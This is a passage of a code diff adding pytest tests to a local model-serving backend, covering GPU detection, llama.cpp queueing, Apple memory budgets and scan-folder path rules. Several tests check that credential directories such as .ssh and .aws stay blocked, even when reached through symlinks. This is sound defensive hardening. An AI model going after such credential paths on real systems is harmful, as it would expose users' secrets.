= {"MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684"}), + } + ) + ) + host, captured = _detect_windows_host( + monkeypatch, winreg, powershell_stdout = "Intel(R) Arc(TM) A770 Graphics" + ) + assert host.has_intel_gpu is True + assert "powershell" in captured + + +def test_windows_intel_registry_unexpected_error_is_false(monkeypatch): + # The probe is advisory: even a non-OSError bug in the walk must return + # False (deferring to the CIM fallback), never crash detect_host. + class _ExplodingWinreg: + HKEY_LOCAL_MACHINE = object() + + def OpenKey(self, parent, name): + raise TypeError(name) + + monkeypatch.setitem(sys.modules, "winreg", _ExplodingWinreg()) + assert ilp.windows_intel_gpu_in_registry() is False + + +def test_detect_host_cim_rescues_exploding_registry(monkeypatch): + class _ExplodingWinreg: + HKEY_LOCAL_MACHINE = object() + + def OpenKey(self, parent, name): + raise TypeError(name) + + host, captured = _detect_windows_host( + monkeypatch, _ExplodingWinreg(), powershell_stdout = "Intel(R) Arc(TM) A770 Graphics" + ) + assert host.has_intel_gpu is True + assert "powershell" in captured diff --git a/studio/backend/tests/test_linux_external_media_paths.py b/studio/backend/tests/test_linux_external_media_paths.py new file mode 100644 index 0000000000..c763248f6a --- /dev/null +++ b/studio/backend/tests/test_linux_external_media_paths.py @@ -0,0 +1,287 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +from __future__ import annotations + +import ast +import os +import sys +from pathlib import Path +from types import SimpleNamespace +from typing import Optional + +import pytest + +from hub.storage import scan_folders +from storage import studio_db +from utils.paths import external_media + + +_BACKEND_ROOT = Path(__file__).resolve().parent.parent + + +class _ExistingScanFolderConn: + def __init__(self): + self.params = () + + def execute( + self, + _sql, + params = (), + ): + self.params = params + return self + + def fetchone(self): + return {"id": 1, "path": self.params[0], "created_at": "fake"} + + def commit(self): + pass + + def close(self): + pass + + +class _HTTPException(Exception): + def __init__(self, status_code: int, detail: str): + super().__init__(detail) + self.status_code = status_code + self.detail = detail + + +def _stub_linux_path_checks(monkeypatch, module): + monkeypatch.setattr(module.platform, "system", lambda: "Linux") + monkeypatch.setattr(module.os.path, "realpath", os.path.normpath) + monkeypatch.setattr(module.os.path, "expanduser", lambda p: p) + monkeypatch.setattr(module.os.path, "exists", lambda _p: True) + monkeypatch.setattr(module.os.path, "isdir", lambda _p: True) + monkeypatch.setattr(module.os, "access", lambda _p, _mode: True) + + +def _stub_hub_scan_folder_db(monkeypatch): + monkeypatch.setattr(scan_folders, "_ensure_schema", lambda _conn: None) + monkeypatch.setattr(scan_folders, "get_connection", _ExistingScanFolderConn) + + +def _stub_legacy_scan_folder_db(monkeypatch): + monkeypatch.setattr(studio_db, "get_connection", _ExistingScanFolderConn) + + +def test_linux_run_media_policy_accepts_mounted_volume_descendants(monkeypatch): + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB") + assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6") + + +@pytest.mark.parametrize( + "path", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_linux_run_media_policy_rejects_unrelated_run_paths(monkeypatch, path): + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + assert not external_media.is_linux_run_media_path(path) + + +def test_linux_run_media_mount_roots_lists_readable_volume_roots(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + mount = base / "dspofu" / "nvmeB" + sensitive_mount = base / "dspofu" / ".ssh" + sensitive_aws_mount = base / "dspofu" / ".aws" + other_user_mount = base / "other" / "backup" + incomplete = base / "dspofu-only" + mount.mkdir(parents = True) + sensitive_mount.mkdir() + sensitive_aws_mount.mkdir() + other_user_mount.mkdir(parents = True) + incomplete.mkdir() + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [mount.resolve()] + + +def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + normal_mount = base / "dspofu" / "nvmeB" + sensitive_target = base / "dspofu" / ".config" + normal_mount.mkdir(parents = True) + sensitive_target.mkdir() + alias = base / "dspofu" / "config-alias" + alias.symlink_to(sensitive_target, target_is_directory = True) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [normal_mount.resolve()] + + +def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + normal_mount = base / "dspofu" / "nvmeB" + sensitive_descendant = normal_mount / ".ssh" / "models" + sensitive_descendant.mkdir(parents = True) + alias = base / "dspofu" / "models-alias" + alias.symlink_to(sensitive_descendant, target_is_directory = True) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [normal_mount.resolve()] + + +def test_hub_scan_folder_accepts_linux_run_media_mount(monkeypatch): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6" + + row = scan_folders.add_scan_folder(target) + + assert row["path"] == target + + +@pytest.mark.parametrize( + "target", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_hub_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Path under /run is not allowed"): + scan_folders.add_scan_folder(target) + + +def test_hub_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Credential or configuration"): + scan_folders.add_scan_folder("/run/media/dspofu/nvmeB/.ssh/models") + + +def test_legacy_scan_folder_accepts_linux_run_media_mount(monkeypatch): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6" + + row = studio_db.add_scan_folder(target) + + assert row["path"] == target + + +@pytest.mark.parametrize( + "target", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_legacy_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Path under /run is not allowed"): + studio_db.add_scan_folder(target) + + +def test_legacy_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Credential or configuration"): + studio_db.add_scan_folder("/run/media/dspofu/nvmeB/.aws/models") + + +def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path): + tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")) + function_names = { + "_build_browse_allowlist", + "_browse_relative_parts", + "_is_path_inside_allowlist", + "_match_browse_child", + "_normalize_browse_request_path", + "_resolve_browse_target", + } + functions = [ + node + for node in tree.body + if isinstance(node, ast.FunctionDef) and node.name in function_names + ] + module = ast.Module(body = functions, type_ignores = []) + ast.fix_missing_locations(module) + + home = tmp_path / "home" + media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB" + model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6" + home.mkdir() + model_dir.mkdir(parents = True) + (media_root / ".ssh").mkdir() + + fake_paths = SimpleNamespace( + hf_default_cache_dir = lambda: tmp_path / "missing-default-hf", + legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf", + well_known_model_dirs = lambda: [], + studio_root = lambda: tmp_path / "missing-studio", + outputs_root = lambda: tmp_path / "missing-outputs", + exports_root = lambda: tmp_path / "missing-exports", + ) + fake_external_media = SimpleNamespace(linux_run_media_mount_roots = lambda: [media_root]) + fake_studio_db = SimpleNamespace( + list_scan_folders = lambda: [], + contains_sensitive_path_component = studio_db.contains_sensitive_path_component, + ) + monkeypatch.setitem(sys.modules, "utils.paths", fake_paths) + monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media) + monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db) + + ns = { + "HTTPException": _HTTPException, + "os": os, + "Path": Path, + "Optional": Optional, + "_safe_is_dir": lambda p: Path(p).is_dir(), + "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf", + "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None), + } + exec(compile(module, "", "exec"), ns) + + allowlist = ns["_build_browse_allowlist"]() + + assert media_root.resolve() in allowlist + assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve() + + with pytest.raises(_HTTPException) as exc: + ns["_resolve_browse_target"](str(media_root / ".ssh"), allowlist) + assert exc.value.status_code == 403 + + ssh_root = media_root / ".ssh" + with pytest.raises(_HTTPException) as exc_root: + ns["_resolve_browse_target"](str(ssh_root), [ssh_root]) + assert exc_root.value.status_code == 403 diff --git a/studio/backend/tests/test_llama_admission.py b/studio/backend/tests/test_llama_admission.py new file mode 100644 index 0000000000..2f04e81926 --- /dev/null +++ b/studio/backend/tests/test_llama_admission.py @@ -0,0 +1,320 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +import asyncio +import os +import sys +import threading + +import pytest + +_backend = os.path.join(os.path.dirname(__file__), "..") +sys.path.insert(0, _backend) + +from core.inference import llama_admission +from core.inference.llama_admission import ( + ADMISSION_CONTROL_ENV, + ADMISSION_KEEPALIVE_INTERVAL_ENV, + ADMISSION_MAX_QUEUE_ENV, + ADMISSION_QUEUE_TIMEOUT_ENV, + DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S, + DEFAULT_ADMISSION_MAX_QUEUE, + DEFAULT_ADMISSION_QUEUE_TIMEOUT_S, + LlamaAdmissionConfig, + LlamaAdmissionQueueFull, + get_llama_admission_queue, + llama_admission_config_from_env, + reset_llama_admission_queues, +) + + +@pytest.fixture(autouse = True) +def _reset_queues(): + reset_llama_admission_queues() + yield + reset_llama_admission_queues() + + +def test_admission_config_defaults(monkeypatch): + for name in ( + ADMISSION_CONTROL_ENV, + ADMISSION_QUEUE_TIMEOUT_ENV, + ADMISSION_KEEPALIVE_INTERVAL_ENV, + ADMISSION_MAX_QUEUE_ENV, + ): + monkeypatch.delenv(name, raising = False) + + config = llama_admission_config_from_env() + + assert config.enabled is True + assert config.queue_timeout_s == DEFAULT_ADMISSION_QUEUE_TIMEOUT_S + assert config.keepalive_interval_s == DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S + assert config.max_queue == DEFAULT_ADMISSION_MAX_QUEUE + + +def test_admission_config_env_overrides(monkeypatch): + monkeypatch.setenv(ADMISSION_CONTROL_ENV, "off") + monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0") + monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.25") + monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "0") + + config = llama_admission_config_from_env() + + assert config.enabled is False + assert config.queue_timeout_s is None + assert config.keepalive_interval_s == 0.25 + assert config.max_queue is None + + +def test_admission_config_positive_queue_timeout_env(monkeypatch): + monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "600") + + config = llama_admission_config_from_env() + + assert config.queue_timeout_s == 600.0 + + +def test_fifo_capacity_one_grants_next_waiter_on_release(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig() + + first = queue.reserve(capacity = 1, config = config) + second = queue.reserve(capacity = 1, config = config) + third = queue.reserve(capacity = 1, config = config) + + first_lease = first.lease_nowait() + assert first_lease is not None + assert second.lease_nowait() is None + assert third.lease_nowait() is None + assert queue.snapshot().queued == 2 + + first_lease.release() + second_lease = await second.wait(0.1) + assert second_lease is not None + assert third.lease_nowait() is None + + second_lease.release() + third_lease = await third.wait(0.1) + assert third_lease is not None + third_lease.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + +def test_queue_full_rejects_excess_waiter(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig(max_queue = 1) + + first = queue.reserve(capacity = 1, config = config) + queued = queue.reserve(capacity = 1, config = config) + + assert first.lease_nowait() is not None + assert queued.lease_nowait() is None + with pytest.raises(LlamaAdmissionQueueFull): + queue.reserve(capacity = 1, config = config) + + asyncio.run(_run()) + + +def test_disabled_admission_bypasses_active_slot_limit(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig(enabled = False) + + first = queue.reserve(capacity = 1, config = config) + second = queue.reserve(capacity = 1, config = config) + + assert first.lease_nowait() is not None + assert second.lease_nowait() is not None + assert queue.snapshot().active == 0 + assert queue.snapshot().queued == 0 + + asyncio.run(_run()) + + +def test_cancelling_promoted_waiter_releases_slot(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig() + + first = queue.reserve(capacity = 1, config = config) + second = queue.reserve(capacity = 1, config = config) + first_lease = first.lease_nowait() + + first_lease.release() + await asyncio.sleep(0) + second.cancel() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + +def test_cancelling_promoted_waiter_before_delivery_releases_slot(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig() + + first = queue.reserve(capacity = 1, config = config) + second = queue.reserve(capacity = 1, config = config) + first_lease = first.lease_nowait() + + first_lease.release() + second.cancel() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + +def test_external_waiter_future_cancel_invalidates_reservation(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig() + + first = queue.reserve(capacity = 1, config = config) + second = queue.reserve(capacity = 1, config = config) + first_lease = first.lease_nowait() + assert first_lease is not None + assert second._waiter is not None + + second._waiter.future.cancel() + + assert second.lease_nowait() is None + assert second.is_cancelled is True + assert await second.wait(0.01) is None + + first_lease.release() + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + +def test_wait_returns_none_when_waiter_future_cancelled_during_wait(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig() + + first = queue.reserve(capacity = 1, config = config) + second = queue.reserve(capacity = 1, config = config) + first_lease = first.lease_nowait() + assert first_lease is not None + assert second._waiter is not None + + wait_task = asyncio.create_task(second.wait(1.0)) + await asyncio.sleep(0) + second._waiter.future.cancel() + + assert await asyncio.wait_for(wait_task, timeout = 0.1) is None + assert second.is_cancelled is True + + first_lease.release() + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + +def test_capacity_increase_promotes_existing_waiter_fifo(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig() + + first = queue.reserve(capacity = 1, config = config) + second = queue.reserve(capacity = 1, config = config) + + first_lease = first.lease_nowait() + assert first_lease is not None + assert second.lease_nowait() is None + assert queue.snapshot().active == 1 + assert queue.snapshot().queued == 1 + + third = queue.reserve(capacity = 2, config = config) + + second_lease = await second.wait(0.1) + assert second_lease is not None + assert third.lease_nowait() is None + + snapshot = queue.snapshot() + assert snapshot.capacity == 2 + assert snapshot.active == 2 + assert snapshot.queued == 1 + + first_lease.release() + third_lease = await third.wait(0.1) + assert third_lease is not None + + second_lease.release() + third_lease.release() + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + +def test_lease_release_is_idempotent_under_concurrent_calls(): + async def _run(): + queue = get_llama_admission_queue("http://llama.test") + config = LlamaAdmissionConfig() + + reservation = queue.reserve(capacity = 1, config = config) + lease = reservation.lease_nowait() + assert lease is not None + + threads = [threading.Thread(target = lease.release) for _ in range(16)] + for thread in threads: + thread.start() + for thread in threads: + thread.join() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + +def test_new_key_evicts_idle_prior_load_queues(): + # Each model load carries a fresh ephemeral port, so a new base_url key must + # not leave the drained queues from earlier loads accumulating forever. + get_llama_admission_queue("http://127.0.0.1:1001") + get_llama_admission_queue("http://127.0.0.1:1002") + assert set(llama_admission._QUEUES) == {"http://127.0.0.1:1002"} + + get_llama_admission_queue("http://127.0.0.1:1003") + assert set(llama_admission._QUEUES) == {"http://127.0.0.1:1003"} + + +def test_new_key_retains_in_flight_prior_load_queue(): + config = LlamaAdmissionConfig() + busy = get_llama_admission_queue("http://127.0.0.1:2001") + + async def _run(): + reservation = busy.reserve(capacity = 1, config = config) + lease = reservation.lease_nowait() + assert lease is not None + + # A new load must not drop a queue that still has an in-flight request. + get_llama_admission_queue("http://127.0.0.1:2002") + assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2001", "http://127.0.0.1:2002"} + + # Once it drains, the next load reclaims it. + lease.release() + get_llama_admission_queue("http://127.0.0.1:2003") + assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2003"} + + asyncio.run(_run()) diff --git a/studio/backend/tests/test_llama_cpp_context_fit.py b/studio/backend/tests/test_llama_cpp_context_fit.py index 9866fc4ae1..d3a10df8ca 100644 --- a/studio/backend/tests/test_llama_cpp_context_fit.py +++ b/studio/backend/tests/test_llama_cpp_context_fit.py @@ -68,6 +68,7 @@ _httpx_stub.Client = type( sys.modules.setdefault("httpx", _httpx_stub) from core.inference.llama_cpp import ( + _APPLE_UNIFIED_MEMORY_FRACTION, _CTX_FIT_VRAM_FRACTION, LlamaCppBackend, classify_gpu_offload_lines, @@ -120,6 +121,8 @@ def _drive( kv_per_token_bytes = 325_000, can_estimate_kv = True, extra_args = None, + apple_budget_mib = 0, + flat_mtp_reserve = 0.0, ): """Drive the post-metadata portion of load_model with stubbed inputs. @@ -223,6 +226,32 @@ def _drive( gpu_indices, use_fit = inst._select_gpus(model_size, gpus) if use_fit and not explicit_ctx: effective_ctx = min(FALLBACK_CTX, effective_ctx) if effective_ctx > 0 else FALLBACK_CTX + elif apple_budget_mib > 0 and effective_ctx > 0: + # Mirrors the Apple unified-memory branch in load_model: flat MTP reserve + # off the budget up front (no-op at 0), sparse-KV floors to FALLBACK_CTX, + # only auto context shrinks. + native_ctx_for_cap = context_length or effective_ctx + apple_fit_budget_mib = int(apple_budget_mib * max(0.0, 1.0 - flat_mtp_reserve)) + if inst._can_estimate_kv(): + cap = inst._fit_context_to_vram( + native_ctx_for_cap, + apple_fit_budget_mib, + model_size, + cache_type_kv, + budget_frac = 1.0, + ) + cap_footprint_mib = (model_size + inst._estimate_kv_cache_bytes(cap, cache_type_kv)) / ( + 1024 * 1024 + ) + max_available_ctx = ( + cap + if cap_footprint_mib <= apple_fit_budget_mib + else min(FALLBACK_CTX, native_ctx_for_cap) + ) + else: + max_available_ctx = min(FALLBACK_CTX, native_ctx_for_cap) + if not explicit_ctx: + effective_ctx = max_available_ctx return { "c_arg": effective_ctx if effective_ctx > 0 else 0, @@ -704,3 +733,204 @@ def test_select_gpus_reserves_per_device_overhead(): small, gpus, total_by_idx = totals, per_device_overhead_bytes = gib ) assert a == [0] and b == [0] + + +# --------------------------------------------------------------------------- +# Apple Silicon unified-memory context cap (#5118, #6529): no discrete GPU on +# Metal, so the auto context defaulted to native and over-committed unified +# memory. The fix budgets and caps the auto context (explicit stays verbatim). +# --------------------------------------------------------------------------- + + +def _force_apple(monkeypatch): + import platform as _platform + monkeypatch.setattr(_platform, "system", lambda: "Darwin") + monkeypatch.setattr(_platform, "machine", lambda: "arm64") + + +def _install_fake_mlx(monkeypatch, working_set_bytes): + """Minimal mlx.core stub exposing metal.is_available() and device_info().""" + mlx = _types.ModuleType("mlx") + mlx_core = _types.ModuleType("mlx.core") + mlx_core.metal = _types.SimpleNamespace(is_available = lambda: True) + mlx_core.device_info = lambda: {"max_recommended_working_set_size": working_set_bytes} + mlx.core = mlx_core + monkeypatch.setitem(sys.modules, "mlx", mlx) + monkeypatch.setitem(sys.modules, "mlx.core", mlx_core) + + +class TestAppleUnifiedMemoryBudget: + def test_zero_off_apple_silicon(self, monkeypatch): + import platform as _platform + + monkeypatch.setattr(_platform, "system", lambda: "Linux") + monkeypatch.setattr(_platform, "machine", lambda: "x86_64") + assert LlamaCppBackend._apple_metal_memory_budget_bytes() == 0 + + def test_uses_metal_working_set(self, monkeypatch): + _force_apple(monkeypatch) + ws = 27 * GIB # ~recommended working set on a 36 GB Mac + _install_fake_mlx(monkeypatch, ws) + assert LlamaCppBackend._apple_metal_memory_budget_bytes() == int( + ws * _APPLE_UNIFIED_MEMORY_FRACTION + ) + + def test_falls_back_to_total_ram_without_mlx(self, monkeypatch): + _force_apple(monkeypatch) + monkeypatch.setitem(sys.modules, "mlx", None) # import mlx.core -> ImportError + fake_psutil = _types.ModuleType("psutil") + fake_psutil.virtual_memory = lambda: _types.SimpleNamespace(total = 36 * GIB) + monkeypatch.setitem(sys.modules, "psutil", fake_psutil) + assert LlamaCppBackend._apple_metal_memory_budget_bytes() == int( + 36 * GIB * _APPLE_UNIFIED_MEMORY_FRACTION + ) + + def test_zero_when_no_budget_resolvable(self, monkeypatch): + _force_apple(monkeypatch) + monkeypatch.setitem(sys.modules, "mlx", None) + monkeypatch.setitem(sys.modules, "psutil", None) + assert LlamaCppBackend._apple_metal_memory_budget_bytes() == 0 + + +class TestAppleContextCap: + """The real ``_fit_context_to_vram`` against the reporter's M3 Pro case.""" + + def test_caps_native_context_into_unified_budget(self): + # ~15.7 GB weights at native 262144 (~16 GB KV) -> ~32 GB on a 36 GB M3 + # Pro (~23 GB budget); the fit must reduce the context to fit. + inst = _make_backend(native_ctx = 262144) + inst._can_estimate_kv = lambda: True + inst._estimate_kv_cache_bytes = ( + lambda n, *a, **k: 0 if n <= 0 else int(n * 64_000) # ~16 GB @ 262144 + ) + model_size_fit = int(15.7 * GIB) + budget_mib = int(27 * GIB * _APPLE_UNIFIED_MEMORY_FRACTION) // (1024 * 1024) + + # The native footprint over-commits the budget -- this is the bug. + native_footprint_mib = (model_size_fit + inst._estimate_kv_cache_bytes(262144)) // ( + 1024 * 1024 + ) + assert native_footprint_mib > budget_mib + + capped = inst._fit_context_to_vram( + 262144, budget_mib, model_size_fit, None, budget_frac = 1.0 + ) + assert capped < 262144 + capped_footprint_mib = (model_size_fit + inst._estimate_kv_cache_bytes(capped)) // ( + 1024 * 1024 + ) + assert capped_footprint_mib <= budget_mib + + +class TestAppleBranchEndToEnd: + """Drive the Apple elif glue (cap / floor / explicit) via _drive, no GPU.""" + + def test_auto_context_capped_below_native(self): + plan = _drive( + n_ctx = 0, + model_gib = 15.7, + gpus = [], + native_ctx = 262144, + kv_per_token_bytes = 64_000, + apple_budget_mib = 23_000, # ~22 GB: weights fit, native KV doesn't + ) + assert 0 < plan["c_arg"] < 262144 + assert plan["use_fit"] is True # --fit on still ships as a backstop + assert plan["gpu_indices"] is None # no CUDA device pinning on Metal + assert plan["max_available_ctx"] == plan["c_arg"] + + def test_floors_to_fallback_when_weights_exceed_budget(self): + # Weights alone exceed budget: ctx can't help, so floor to 4096. + plan = _drive( + n_ctx = 0, + model_gib = 100, + gpus = [], + native_ctx = 262144, + apple_budget_mib = 20_000, + ) + assert plan["c_arg"] == FALLBACK_CTX + assert plan["use_fit"] is True + assert plan["gpu_indices"] is None + + def test_explicit_context_honored_verbatim(self): + # Explicit context is never shrunk, but the UI ceiling still tightens. + plan = _drive( + n_ctx = 200_000, + model_gib = 15.7, + gpus = [], + native_ctx = 262144, + kv_per_token_bytes = 64_000, + apple_budget_mib = 23_000, + ) + assert plan["c_arg"] == 200_000 # launch context honored verbatim + assert plan["use_fit"] is True + # Ceiling reflects the budget so the over-budget warning still fires. + assert plan["max_available_ctx"] < 262144 + + +class TestAppleMtpFlatReserve: + """Apple cap reserves the flat MTP fraction up front (like _pin_fraction) so + an unsized MTP draft (Qwen3.6-MTP, #6529) can't over-commit.""" + + def test_flat_reserve_keeps_draft_within_budget(self): + # No reserve -> cap fills the budget, leaving nothing for the ~5% draft. + kw = dict( + n_ctx = 0, + model_gib = 15.7, + gpus = [], + native_ctx = 262144, + kv_per_token_bytes = 64_000, + apple_budget_mib = 23_000, + ) + no_reserve = _drive(**kw, flat_mtp_reserve = 0.0) + with_reserve = _drive(**kw, flat_mtp_reserve = 0.05) + + def footprint_mib(ctx): + return (15.7 * GIB + ctx * 64_000) / (1024 * 1024) + + # No reserve: main footprint + 5% draft exceeds the budget. + assert footprint_mib(no_reserve["c_arg"]) + 0.05 * 23_000 > 23_000 + # With reserve: the cap is smaller and the full footprint fits. + assert with_reserve["c_arg"] < no_reserve["c_arg"] + assert footprint_mib(with_reserve["c_arg"]) + 0.05 * 23_000 <= 23_000 + + def test_no_reserve_is_a_noop_when_mtp_absent(self): + # flat_mtp_reserve == 0 (the common, non-MTP case) must not change the cap. + kw = dict( + n_ctx = 0, + model_gib = 15.7, + gpus = [], + native_ctx = 262144, + kv_per_token_bytes = 64_000, + apple_budget_mib = 23_000, + ) + assert _drive(**kw, flat_mtp_reserve = 0.0) == _drive(**kw) + + +class TestAppleNoKvMetadataFloor: + """Sparse KV metadata floors the auto context to FALLBACK_CTX (like the + discrete file-size-only fallback) instead of launching at native.""" + + def test_sparse_kv_floors_auto_context(self): + plan = _drive( + n_ctx = 0, + model_gib = 15.7, + gpus = [], + native_ctx = 262144, + can_estimate_kv = False, + apple_budget_mib = 23_000, + ) + assert plan["c_arg"] == FALLBACK_CTX # not native 262144 + assert plan["use_fit"] is True + assert plan["gpu_indices"] is None + + def test_sparse_kv_still_honors_explicit_context(self): + plan = _drive( + n_ctx = 100_000, + model_gib = 15.7, + gpus = [], + native_ctx = 262144, + can_estimate_kv = False, + apple_budget_mib = 23_000, + ) + assert plan["c_arg"] == 100_000 # explicit honored even without KV sizing diff --git a/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py new file mode 100644 index 0000000000..5525bc3ea9 --- /dev/null +++ b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py @@ -0,0 +1,53 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +import os +import sys + +import pytest + +_backend = os.path.join(os.path.dirname(__file__), "..") +sys.path.insert(0, _backend) + +from core.inference import llama_cpp as llama_cpp_module +from core.inference.llama_cpp import LlamaCppBackend + + +@pytest.fixture +def backend(monkeypatch): + monkeypatch.setattr(LlamaCppBackend, "_kill_orphaned_servers", lambda self: 0) + monkeypatch.setattr(llama_cpp_module.atexit, "register", lambda *_args, **_kwargs: None) + return LlamaCppBackend() + + +def test_effective_parallel_slots_initial_value_is_one(backend): + assert backend.effective_parallel_slots == 1 + + +def test_effective_parallel_slots_commit_uses_final_positive_parallel(backend): + backend._commit_effective_parallel_slots(3) + + assert backend.effective_parallel_slots == 3 + + +@pytest.mark.parametrize("value", [None, 0, -2, "not-an-int"]) +def test_effective_parallel_slots_commit_invalid_value_falls_back_to_one(backend, value): + backend._commit_effective_parallel_slots(value) + + assert backend.effective_parallel_slots == 1 + + +def test_effective_parallel_slots_reset_returns_to_one(backend): + backend._commit_effective_parallel_slots(4) + + backend._reset_effective_parallel_slots() + + assert backend.effective_parallel_slots == 1 + + +def test_effective_parallel_slots_unload_resets_to_one(backend): + backend._commit_effective_parallel_slots(4) + + backend.unload_model() + + assert backend.effective_parallel_slots == 1 diff --git a/studio/backend/tests/test_llama_cpp_freshness.py b/studio/backend/tests/test_llama_cpp_freshness.py index 2a2e113585..08e1334ac9 100644 --- a/studio/backend/tests/test_llama_cpp_freshness.py +++ b/studio/backend/tests/test_llama_cpp_freshness.py @@ -137,9 +137,9 @@ def test_read_install_marker_finds_windows_cmake_layout(tmp_path): @pytest.mark.parametrize("repo", ["unslothai/llama.cpp", "ggml-org/llama.cpp"]) def test_read_install_marker_carries_published_repo_dynamically(tmp_path, repo): - # The freshness check queries whichever release repo the marker records, - # so CUDA (unslothai), CPU/macOS (ggml-org), and ROCm all get the right - # "latest" tag. + # The freshness check queries whichever release repo the marker records: + # new installs record the fork, legacy CPU/macOS markers still say ggml-org, + # and both must get the right "latest" tag. install_dir = tmp_path / "llama.cpp" _write_marker(install_dir, tag = "b9000", published_repo = repo) bin_path = _fake_binary(install_dir, layout = "cmake") diff --git a/studio/backend/tests/test_llama_cpp_props_readback.py b/studio/backend/tests/test_llama_cpp_props_readback.py index d87c05f2c6..316956325f 100644 --- a/studio/backend/tests/test_llama_cpp_props_readback.py +++ 